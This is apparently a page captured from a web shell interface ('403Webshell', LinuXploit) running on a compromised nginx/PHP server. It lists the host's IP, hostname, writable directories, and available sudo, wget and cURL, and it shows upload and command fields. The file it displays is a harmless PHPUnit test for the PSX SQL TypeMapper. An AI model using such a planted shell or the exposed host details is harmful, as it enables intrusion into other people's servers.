403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/api.pacim.de/web/vendor/psx/sql/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/api.pacim.de/web/vendor/psx/sql/tests/TypeMapperTest.php
<?php
/*
 * PSX is a open source PHP framework to develop RESTful APIs.
 * For the current version and informations visit <http://phpsx.org>
 *
 * Copyright 2010-2017 Christoph Kappestein <christoph.kappestein@gmail.com>
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace PSX\Sql\Tests;

use Doctrine\DBAL\Types\Type;
use PSX\Sql\TableInterface;
use PSX\Sql\TypeMapper;

/**
 * TypeMapperTest
 *
 * @author  Christoph Kappestein <christoph.kappestein@gmail.com>
 * @license http://www.apache.org/licenses/LICENSE-2.0
 * @link    http://phpsx.org
 */
class TypeMapperTest extends \PHPUnit_Framework_TestCase
{
    protected $types = array(
        TableInterface::TYPE_SMALLINT => Type::SMALLINT,
        TableInterface::TYPE_INT      => Type::INTEGER,
        TableInterface::TYPE_BIGINT   => Type::BIGINT,
        TableInterface::TYPE_BOOLEAN  => Type::BOOLEAN,
        TableInterface::TYPE_DECIMAL  => Type::DECIMAL,
        TableInterface::TYPE_FLOAT    => Type::FLOAT,
        TableInterface::TYPE_DATE     => Type::DATE,
        TableInterface::TYPE_DATETIME => Type::DATETIME,
        TableInterface::TYPE_TIME     => Type::TIME,
        TableInterface::TYPE_VARCHAR  => Type::STRING,
        TableInterface::TYPE_TEXT     => Type::TEXT,
        TableInterface::TYPE_BLOB     => Type::BLOB,
        TableInterface::TYPE_BINARY   => Type::BINARY,
        TableInterface::TYPE_ARRAY    => Type::TARRAY,
        TableInterface::TYPE_OBJECT   => Type::OBJECT,
        TableInterface::TYPE_JSON     => Type::JSON_ARRAY,
        TableInterface::TYPE_GUID     => Type::GUID,
    );

    public function testGetTypeByDoctrineType()
    {
        foreach ($this->types as $type => $name) {
            $this->assertEquals($type, TypeMapper::getTypeByDoctrineType($name));
        }
    }

    public function testGetDoctrineTypeByType()
    {
        foreach ($this->types as $type => $name) {
            $this->assertEquals($name, TypeMapper::getDoctrineTypeByType($type));
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit